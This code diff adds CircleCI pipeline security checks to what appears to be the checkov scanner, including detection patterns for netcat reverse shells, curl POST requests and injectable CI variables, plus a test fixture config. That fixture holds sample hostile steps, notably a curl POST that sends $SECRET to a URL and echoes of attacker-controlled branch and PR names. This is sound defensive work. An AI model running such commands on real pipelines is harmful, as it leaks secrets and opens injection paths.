CircleCI runner with Injection and Image checks + tests
ADD
checkov/circleci_pipelines/checks/ReverseShellNetcat.py
+from asyncio.log import logger
+from operator import contains
+from checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck
+from checkov.common.models.enums import CheckResult
+from checkov.yaml_doc.enums import BlockType
+import re
+
+
+class ReverseShellNetcat(BaseCircleCIPipelinesCheck):
+ def __init__(self):
+ name = "Suspicious use of netcat with IP address"
+ id = "CKV_CIRCLECIPIPELINES_5"
+ super().__init__(
+ name=name,
+ id=id,
+ block_type=BlockType.ARRAY,
+ supported_entities=['jobs.*.steps[]']
+ )
+
+ def scan_entity_conf(self, conf):
+ if "run" not in conf:
+ return CheckResult.PASSED, conf
+ run = conf.get("run", "")
+ if type(run) == dict:
+ run = run.get("command", "")
+ if re.search(r'(nc|netcat) (\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})', run):
+ return CheckResult.FAILED, conf
+ return CheckResult.PASSED, conf
+
+
+check = ReverseShellNetcat()

ADD
checkov/circleci_pipelines/checks/ShellInjection.py
+from asyncio.log import logger
+from operator import contains
+from checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck
+from checkov.circleci_pipelines.common.shell_injection_list import terms as bad_inputs
+from checkov.common.models.enums import CheckResult
+from checkov.yaml_doc.enums import BlockType
+import re
+
+
+class DontAllowShellInjection(BaseCircleCIPipelinesCheck):
+ def __init__(self):
+ name = "Ensure run commands are not vulnerable to shell injection"
+ id = "CKV_CIRCLECIPIPELINES_6"
+ super().__init__(
+ name=name,
+ id=id,
+ block_type=BlockType.ARRAY,
+ #supported_entities=['jobs','jobs.*.steps[]']
+ supported_entities=['jobs.*.steps[]']
+ )
+
+ def scan_entity_conf(self, conf):
+ if "run" not in conf:
+ return CheckResult.PASSED, conf
+ run = conf.get("run", "")
+ if type(run) == dict:
+ run = run.get("command", "")
+ for term in bad_inputs:
+ if re.search(term, run):
+ return CheckResult.FAILED, conf
+
+ for term in bad_inputs:
+ if re.search(term, run):
+ return CheckResult.FAILED, conf
+
+ return CheckResult.PASSED, conf
+
+
+check = DontAllowShellInjection()

ADD
checkov/circleci_pipelines/checks/SuspectCurlInScript.py
+from asyncio.log import logger
+from operator import contains
+from checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck
+from checkov.common.models.enums import CheckResult
+from checkov.yaml_doc.enums import BlockType
+
+class SuspectCurlInScript(BaseCircleCIPipelinesCheck):
+ def __init__(self):
+ name = "Suspicious use of curl in run task"
+ id = "CKV_CIRCLECIPIPELINES_7"
+ super().__init__(
+ name=name,
+ id=id,
+ block_type=BlockType.ARRAY,
+ supported_entities=['jobs.*.steps[]']
+ )
+
+ def scan_entity_conf(self, conf):
+ if "run" not in conf:
+ return CheckResult.PASSED, conf
+ run = conf.get("run", "")
+ if type(run) == dict:
+ run = run.get("command", "")
+ if "curl" in run:
+ badstuff = ['curl', 'POST']
+ lines = run.split("\n")
+ for line in lines:
+ if all(x in line for x in badstuff):
+ return CheckResult.FAILED, conf
+ return CheckResult.PASSED, conf
+
+check = SuspectCurlInScript()

MODIFY
checkov/circleci_pipelines/checks/prevent_development_orbs.py
checkov/circleci_pipelines/checks/prevent_development_orbs.py
from asyncio.log import logger
+from operator import contains
from checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck
from checkov.common.models.enums import CheckResult
from checkov.yaml_doc.enums import BlockType
@@ -11,16 +12,22 @@ class PreventDevelopmentOrbs(BaseCircleCIPipelinesCheck):
name=name,
id=id,
block_type=BlockType.ARRAY,
- supported_entities=['orbs[].{image: image, __startline__: __startline__, __endline__:__endline__}']
+ supported_entities=["orbs.{orbs: @}"]
)
def scan_entity_conf(self, conf):
- if isinstance(conf, str):
- if "@dev:" in conf:
+ badOrbInBlock = False
+ for orb in conf:
+ if type(conf[orb]) == str:
+ #Special __ vars show up in this dict too.
+ if "@dev" in conf[orb]:
+ badOrbInBlock = True
+ # We only get one return per orb: section, regardless of how many orbs, so set a flag and error later.
+ # Potentially more JMEpath reflection-foo can resolve this so we end up with a call to scan_entity_conf per orb.
+
+ if badOrbInBlock:
return CheckResult.FAILED, conf
else:
return CheckResult.PASSED, conf
- return CheckResult.PASSED, conf
-
check = PreventDevelopmentOrbs()

ADD
checkov/circleci_pipelines/checks/prevent_volatile_orbs.py
+from asyncio.log import logger
+from checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck
+from checkov.common.models.enums import CheckResult
+from checkov.yaml_doc.enums import BlockType
+
+class PreventVolatileOrbs(BaseCircleCIPipelinesCheck):
+ def __init__(self):
+ name = "Ensure unversioned volatile orbs are not used."
+ id = "CKV_CIRCLECIPIPELINES_4"
+ super().__init__(
+ name=name,
+ id=id,
+ block_type=BlockType.ARRAY,
+ supported_entities=["orbs.{orbs: @}"]
+ )
+
+ def scan_entity_conf(self, conf):
+ badOrbInBlock = False
+ for orb in conf:
+ if type(conf[orb]) == str:
+ #Special __ vars show up in this dict too.
+ if "@volatile" in conf[orb]:
+ badOrbInBlock = True
+ # We only get one return per orb: section, regardless of how many orbs, so set a flag and error later.
+ # Potentially more JMEpath reflection-foo can resolve this so we end up with a call to scan_entity_conf per orb.
+
+ if badOrbInBlock:
+ return CheckResult.FAILED, conf
+ else:
+ return CheckResult.PASSED, conf
+
+check = PreventVolatileOrbs()

ADD
checkov/circleci_pipelines/common/__init__.py
checkov/circleci_pipelines/common/__init__.py
ADD
checkov/circleci_pipelines/common/shell_injection_list.py
+# flake8: noqa
+terms = [
+ "\$*CIRCLE_PR_REPONAME*",
+ "\$*CIRCLE_PR_USERNAME*",
+ "\$*CIRCLE_PULL_REQUESTS*",
+ "\$*CIRCLE_TAG*",
+ "\$*CIRCLE_BRANCH*"
+]

DELETE
checkov/circleci_pipelines/prevent_volatile_orbs.py
-from asyncio.log import logger
-from checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck
-from checkov.common.models.enums import CheckResult
-from checkov.yaml_doc.enums import BlockType
-
-class PreventDevelopmentOrbs(BaseCircleCIPipelinesCheck):
- def __init__(self):
- name = "Ensure unversioned volatile orbs are not used."
- id = "CKV_CIRCLECIPIPELINES_4"
- super().__init__(
- name=name,
- id=id,
- block_type=BlockType.ARRAY,
- supported_entities=['orbs']
- )
-
- def scan_entity_conf(self, conf):
- if isinstance(conf, str):
- if "@volatile" in conf:
- return CheckResult.FAILED, conf
- else:
- return CheckResult.PASSED, conf
- return CheckResult.PASSED, conf
-
-
-check = PreventDevelopmentOrbs()

MODIFY
checkov/circleci_pipelines/runner.py
checkov/circleci_pipelines/runner.py
@@ -25,13 +25,16 @@ class Runner(YamlRunner, ImageReferencer):
def import_registry(self):
return registry
+ def included_paths(self):
+ return [".circleci"]
+
def _parse_file(self, f):
if self.is_workflow_file(f):
return super()._parse_file(f)
def is_workflow_file(self, file_path):
"""
- :return: True if the file mentioned is named config.yml/yaml in .circleci dir. Otherwise: False
+ :return: True if the file mentioned is named config.yml/yaml in .circleci dir from included_paths(). Otherwise: False
"""
abspath = os.path.abspath(file_path)
return WORKFLOW_DIRECTORY in abspath and abspath.endswith(("config.yml", "config.yaml"))

ADD
tests/circleci_pipelines/__init__.py
tests/circleci_pipelines/__init__.py
ADD
tests/circleci_pipelines/resources/.circleci/config.yml
+---
+orbs:
+ neworb: "whtever/orbname@goodorb"
+ someorb: "orbns/orbname@dev:blah"
+jobs:
+ test-docker-hash-img:
+ docker:
+ -
+ image: "redis@sha256:54057dd7e125ca41afe526a877e8bd35ec2cdd33b9217e022ed37bdcf7d09673"
+ -
+ auth:
+ password: $DOCKERHUB_PASSWORD
+ username: mydockerhub-user
+ test-docker-latest-img:
+ docker:
+ -
+ image: "buildpack-deps:latest"
+ -
+ auth:
+ password: $DOCKERHUB_PASSWORD
+ username: mydockerhub-user
+ command:
+ - "--smallfiles"
+ test-docker-versioned-img:
+ docker:
+ -
+ image: "mongo:2.6.8"
+ -
+ auth:
+ password: $DOCKERHUB_PASSWORD
+ username: mydockerhub-user
+ environment:
+ POSTGRES_USER: user
+ image: "postgres:14.2"
+ test-echo:
+ docker:
+ -
+ image: "cimg/python:latest"
+ steps:
+ - checkout
+ -
+ run: "echo \"this is an echo in a script.\""
+ test-inject:
+ docker:
+ -
+ image: "cimg/python:latest"
+ steps:
+ - checkout
+ - run:
+ command: |
+ curl -sSJL https://www.mongodb.org/static/pgp/server-4.2.asc | sudo apt-key add -
+ echo ${CIRCLE_BRANCH}
+ name: "Multi-line run with injection via vars"
+ test-inject2:
+ docker:
+ -
+ image: "cimg/python:latest"
+ steps:
+ - checkout
+ -
+ run:
+ command: |
+ curl -sSJL https://www.mongodb.org/static/pgp/server-4.2.asc | sudo apt-key add -
+ echo $CIRCLE_BRANCH
+ name: "Multi-line run with injection via vars"
+ test-curl-secret:
+ docker:
+ -
+ image: "cimg/python:latest"
+ steps:
+ - checkout
+ - run:
+ command: |
+ curl -x POST someurl $SECRET
+ name: "Multi-line export secret"
+ test-inject-ci-vars:
+ docker:
+ -
+ image: "cimg/python:latest"
+ steps:
+ - checkout
+ -
+ run:
+ command: |
+ echo ${CIRCLE_PR_REPONAME}
+ name: "Echo the PR Reponame"
+version: 2.1
+workflows:
+ say-hello-workflow:
+ jobs:
+ - test-docker-hash-img
+ - test-docker-latest-img
+ - test-docker-versioned-img
+ - test-echo
+ - test-inject
+ - test-inject2
+ - test-inject-ci-vars
+

ADD
tests/circleci_pipelines/test_runner.py
+import os
+import unittest
+
+from checkov.circleci_pipelines.runner import Runner
+from checkov.runner_filter import RunnerFilter
+
+
+class TestRunnerValid(unittest.TestCase):
+
+ def test_runner(self):
+ current_dir = os.path.dirname(os.path.realpath(__file__))
+ valid_dir_path = os.path.join(current_dir, "resources")
+ runner = Runner()
+ checks = []
+ report = runner.run(
+ root_folder=valid_dir_path,
+ runner_filter=RunnerFilter(framework=['circleci_pipelines'], checks=checks)
+ )
+ self.assertEqual(len(report.failed_checks), 19)
+ self.assertEqual(report.parsing_errors, [])
+ self.assertEqual(len(report.passed_checks), 19)
+ self.assertEqual(report.skipped_checks, [])
+ report.print_console()
+
+
+if __name__ == "__main__":
+ unittest.main()

CircleCI runner with Injection and Image checks + tests